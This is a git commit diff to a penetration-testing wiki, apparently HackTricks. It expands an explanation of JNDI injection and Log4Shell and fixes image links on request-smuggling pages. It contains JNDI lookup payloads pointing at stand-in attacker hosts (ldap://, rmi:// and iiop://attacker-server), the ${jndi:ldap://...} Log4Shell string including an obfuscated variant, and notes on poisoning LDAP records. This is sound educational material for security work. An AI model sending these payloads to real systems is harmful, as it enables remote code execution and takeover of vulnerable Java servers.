GitBook: [#2921] No subject

This commit is contained in:
CPol 2021-12-26 17:34:46 +00:00 committed by gitbook-bot
parent 6b9df92e57
commit 533320ee57
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
12 changed files with 83 additions and 13 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 126 KiB

After

Width:  |  Height:  |  Size: 565 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 110 KiB

After

Width:  |  Height:  |  Size: 733 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 316 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 316 KiB

After

Width:  |  Height:  |  Size: 998 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

After

Width:  |  Height:  |  Size: 170 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 170 KiB

After

Width:  |  Height:  |  Size: 686 KiB

View File

@ -2,21 +2,89 @@
## Basic Information
JNDI has been present in Java since the late 1990s. It is a directory service that **allows a Java program to find data (in the form of a Java object) through a directory**. JNDI has a number of **service provider interfaces** (SPIs) that enable it to use a variety of directory services.
JNDI has been present in Java since the late 1990s. It is a directory service that **allows a Java program to find data through a directory using a name service**. A name service associates values (bindings), so it can be obtained through its reference in the directory.
JNDI has a number of **service provider interfaces** (SPIs) that enable it to use a variety of directory services. The goal of JNDI is to obtain data from other systems very easily. You can even obtain java objects remotely, and this is where a problem arises.
For example, SPIs exist for the **CORBA COS** (Common Object Service), the **Java RMI** (Remote Method Interface) Registry and **LDAP**.
![](<../../.gitbook/assets/image (627).png>)
### LDAP Search
### JNDI Naming Reference
A Java program can use **JNDI and LDAP together to find a Java object** containing data that it might need. For example, in the standard Java documentation theres an [**example**](https://docs.oracle.com/javase/jndi/tutorial/getStarted/examples/directory.html) **** that talks to an LDAP server to **retrieve attributes from an object**. It uses the URL **`ldap://localhost:389/o=JNDITutorial`** to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.
In order to retrieve Java Objects you could serialize them and save the binary representation. But there are some cases where this wont work (maybe because the data is too large, or any other thing).\
In order to save more easily Java Objects, **Naming References are used**.\
There are 2 types of Naming References:
However, this functionality not only allows to **retrieve** strings from a LDAP server but also **Java Objects that will be executed**.
* **Reference Addresses**: This indicates the address of the Object (_rmi://server/ref_), then the **object will be retrieved from that address**.
* **Remote Factory**: In this case a **remote factory class** will be pointed in the JNDI reference, then, following the JNDI address the remote class will be taken from the remote factory and the **class will be downloaded and loaded**.
{% hint style="danger" %}
Therefore, if you can **control the address where a Java Program is going to download a Java Object** from, you can make it execute arbitrary code (**RCE**)
{% endhint %}
This is dangerous because **attackers may make the system load arbitrary objects and execute arbitrary code**, therefore some protections exists:
* **RMI**: `java.rmi.server.useCodeabseOnly = true` by default since **JDK 7u21**, otherwise it will allow to load custom java objects remotely. Moreover, even if the protection is disabled, a **Security Manager** is enforced to configure what can be loaded.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default since **JDK** **6u141, 7u131, 8u121**, and it wont allow to execute arbitrary java objects downloaded. But if this is set to `true` it will and **no Security Manager will be enforced**.
* **CORBA**: There is no property to be configured but the **Security Manager is always enforced**.
Moreover, the **Naming Manager**, the one that is going to follow the JNDI links, doesnt have any Security Manager or property to be configured, so it will always try to get the object.
As you can see the **protections in general arent enough** because there is **no protection agains loading JNDI from random addresses** and the protections of RMI, LDAP and CORBA could be bypassed (depending on the configuration) to **load arbitrary java objects** or to **load java objects** that will abuse existent components in the application as **gadgets to execute arbitrary code**.
URLs example to abuse JNDI:
* _rmi://attacker-server/bar_
* _ldap://attacker-server/bar_
* _iiop://attacker-server/bar_
### JNDI Example
![](<../../.gitbook/assets/image (655).png>)
Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.
### CORBA
An **Interoperable Object Reference (IOR)** is a CORBA or RMI-IIOP reference that uniquely idenfies and object on a remote CORBA server. IORs can be in binary format or string hex representation of the binary.\
Among other information, it conteins the **Type ID** (a unique identifier for an interface) and the **Codebase** (remote location using to get the stub class).\
Note that **by default CORBA cannot be abused**.\
It requires:
* A **Security Manager must be installed**
* Connection to the **codebase controlled by the attacker must be allowed** by Security Manager. There are different ways to allow this:
* Socket permission: `permissions java.net.SocketPermission "*:1098-1099", "connect";`
* File permission allowing to read all files: `permission java.io.FilePermission "<<ALL FILES>>", "read";`
* File permission to read the folder where the attacker can upload the exploits (classes or zip archive)
You might find **policies of vendors allowing this by default**.
### RMI
As indicated in the previous **JNDI Naming Reference Section, RMI by default wont allow to download arbitrary Java Classes**. And moreover, even if it will, you will need to **bypass the Security Manager policies** (in the previous section we learned that this was possible with CORBA).
### LDAP
First of all, wee need to distinguish between a Search and a Lookup.\
A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\
A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**.
If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**.
Therefore, there are several ways to attack these options.\
An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example.
In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).
#### Deserialization exploit
![](<../../.gitbook/assets/image (654).png>)
The **exploit is serialized** and will be deserialized.\
In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.
#### JNDI Reference exploit
It's easier to attack this LDAP using **JavaFactory references**:
![](<../../.gitbook/assets/image (660).png>)
## Log4Shell Vulnerability
@ -28,7 +96,7 @@ With a **: present** in the key, as in `${jndi:ldap://example.com/a}` theres
Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. **** However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.
## CVEs
## Log4Shell CVEs
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: The original 'Log4Shell' vulnerability is an [untrusted deserialization](https://cwe.mitre.org/data/definitions/502.html) flaw. Rated critical in severity, this one scores a 10 on the [CVSS](https://www.first.org/cvss/) scale and **grants remote code execution (RCE) abilities to unauthenticated attackers**, allowing complete system takeover.\
\
@ -61,7 +129,7 @@ Therefore, the only thing needed to get RCE a **vulnerable version of Log4j proc
&#x20;
* **CVE-2021-45105** **\[High]**: **Log4j 2.16.0** was found out to be **vulnerable to a DoS** flaw rated 'High' in severity. Apache has since **released a log4j 2.17.0 version** fixing the CVE. More details on this development are provided in BleepingComputer's [latest report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
## Exploitation
## Log4Shell Exploitation
### Discovery
@ -157,7 +225,7 @@ Any other env variable name that could store sensitive information
Hosts running on **JDKs versions higher than 6u141, 7u131, 8u121 will be protected against the LDAP class loading** vector **BUT NOT the deserialisation vector**. This is because `com.sun.jndi.ldap.object.trustURLCodebase` is disabled by default, hence JNDI cannot load remote codebase using LDAP. But we must stress deserialisation and variable leaks are still possible.\
This means that to **exploit the mentioned versions** you will need to **abuse some trusted gadget** that exists on the java application (using ysoserial or JNDIExploit for example). But to exploit lower versions, you can make them load an execute arbitrary classes (which makes the attack easier).
For more information check [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
{% endhint %}
### RCE - Marshalsec with custom payload
@ -315,3 +383,5 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
* [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)

View File

@ -98,7 +98,7 @@ However, the **HEAD** request **doesn't contain a body** but it usually **contai
If you find a **POST** **parameter** inside the application whose **content** is going to be **reflected** in the **response**, then you can try to inject HTTP/1.1 \r\n characters inside a HTTP/2 request header so the newly injected headers by the proxy are going to be appended in the POST parameter that will be reflected in the response:
![](<../../.gitbook/assets/image (656).png>)
![](<../../.gitbook/assets/image (656) (1).png>)
Note that in this case the **attacker** just cares about the **response** to the **first** **request**, he doesn't need to read the request to the smuggled invalid second request.

View File

@ -24,7 +24,7 @@ Moreover, is the **attacker then perform a request** and the **legitimate respon
![](<../.gitbook/assets/image (658).png>)
![](<../.gitbook/assets/image (655).png>)
![](<../.gitbook/assets/image (655) (1).png>)
### Multiple Nested Injections
@ -80,7 +80,7 @@ Then, the **victim** will **receive** the **response** from the **HEAD** request
Following the previous example, knowing that you can **control the body** of the request whose response is going to receive the victim and that a **HEAD** **response** usually contains in its headers the **Content-Type and the Content-Length**, you can **send a request like the following** one to **cause XSS** in the victim without the page being vulnerable to XSS:
![](<../.gitbook/assets/image (654).png>)
![](<../.gitbook/assets/image (654) (1).png>)
### Cache Poisoning